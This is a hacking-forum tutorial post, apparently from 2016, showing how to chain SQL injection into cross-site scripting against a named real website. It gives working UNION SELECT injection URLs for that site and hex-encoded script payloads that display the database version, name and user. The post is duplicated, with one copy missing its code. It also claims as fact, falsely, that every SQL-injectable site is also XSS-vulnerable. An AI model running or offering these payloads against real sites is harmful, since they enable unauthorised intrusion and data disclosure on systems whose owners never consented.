Aug 29, 2016 02:37 AM
(This post was last modified: Aug 29, 2016 05:16 PM by spirited_wolf™.)
(Aug 29, 2016 02:06 AM)Angel shanu Wrote: sir i have 1 more question. can i xss the same website using sqli
Yes we can do it very easily just remember that every website that is vulnerable to SQL-Injection is vulnerable to XSS(Cross site scripting) but not every website that is vulnerable to XSS(Cross site scripting) is not vulnerable to SQL-Injection.
So lets start with our last query that i told you yesterday.
Target::
we know that our website have total 3 number of columns and 2 and 3 are vulnerable.
![[Image: KJMWNTi.png]](https://i.imgur.com/KJMWNTi.png)
So, for doing XSS we should know what is XSS and how it really works.
What is XSS?
==>Cross-site scripting (XSS) is a code injection attack that allows an attacker to execute malicious JavaScript in another user's browser.
How XSS works?
==>In order to run malicious JavaScript code in a victim’s browser, an attacker must first find a way to inject a payload into a web page that the victim visits. Of course, an attacker could use social engineering techniques to convince a user to visit a vulnerable page with an injected JavaScript payload.
In order for an XSS attack to take place the vulnerable website needs to directly include user input in its pages. An attacker can then insert a string that will be used within the web page and treated as code by the victim’s browser.
So, here is simple XSS payload to get pop-up on our screen.
change it scrip with script.
So, now as we know its not the part of SQL so it should be in hex or in proper single or double quotes.
lets try our payload
So, we will use concat function.
so now it will pop version on the screen. Let's HEX it.
![[Image: yg5y7pU.png]](https://i.imgur.com/yg5y7pU.png)
So, here is our version, database and user
![[Image: PIEP2bT.png]](https://i.imgur.com/PIEP2bT.png)
Done thanks 🤝
[align=center][b]Check these thread 👍
![[Image: ma9LeWX.png]](https://i.imgur.com/ma9LeWX.png)
==>[Mega Tutorial Links]SQL-Injection all tutorials by Spirit<==
==>[Mega Tutorial Links]A huge Tutorial collection for hackers/Pentesters<==
==>An ultimate reference for all Beginners Hackers<==
thanks 🤝
So lets start with our last query that i told you yesterday.
Target::
PHP Code
<?php
http://www.romanianwriters.ro/book.php?id=99
we know that our website have total 3 number of columns and 2 and 3 are vulnerable.
PHP Code
<?php
http://www.romanianwriters.ro/book.php?id=99+and+0+U NION+S ELECT+1,2,3-- -
![[Image: KJMWNTi.png]](https://i.imgur.com/KJMWNTi.png)
So, for doing XSS we should know what is XSS and how it really works.
What is XSS?
==>Cross-site scripting (XSS) is a code injection attack that allows an attacker to execute malicious JavaScript in another user's browser.
How XSS works?
==>In order to run malicious JavaScript code in a victim’s browser, an attacker must first find a way to inject a payload into a web page that the victim visits. Of course, an attacker could use social engineering techniques to convince a user to visit a vulnerable page with an injected JavaScript payload.
In order for an XSS attack to take place the vulnerable website needs to directly include user input in its pages. An attacker can then insert a string that will be used within the web page and treated as code by the victim’s browser.
So, here is simple XSS payload to get pop-up on our screen.
PHP Code
<?php
<scrip>alert (0)</scrip>
So, now as we know its not the part of SQL so it should be in hex or in proper single or double quotes.
lets try our payload
So, we will use concat function.
PHP Code
<?php
concat ('<scrip>alert('version::,v ersion (),in')</scrip>')
so now it will pop version on the screen. Let's HEX it.
PHP Code
<?php
concat (0x273c7363726970743e616c657274282776657273696f6e3a3a,version () ,0x696e27293c2f7363726970743e27)
![[Image: yg5y7pU.png]](https://i.imgur.com/yg5y7pU.png)
So, here is our version, database and user
PHP Code
<?php
http://www.romanianwriters.ro/book.php?id=99+and+0+U NION+S ELECT+1,2,concat (0x273c7363726970743e616c6572742827496e6a656374656420627920737069726974656420776f6c663a3a56657273696f6e3a3a, v ersion () ,0x3a3a44617461626173653a3a, d atabase () ,0x3a3a557365723a3a, u ser (),0x696e27293c2f7363726970743e27)-- -
![[Image: PIEP2bT.png]](https://i.imgur.com/PIEP2bT.png)
Done thanks 🤝
[align=center][b]Check these thread 👍
![[Image: ma9LeWX.png]](https://i.imgur.com/ma9LeWX.png)
==>[Mega Tutorial Links]SQL-Injection all tutorials by Spirit<==
==>[Mega Tutorial Links]A huge Tutorial collection for hackers/Pentesters<==
==>An ultimate reference for all Beginners Hackers<==
thanks 🤝


![[Image: 7rOW05i.png]](https://i.imgur.com/7rOW05i.png)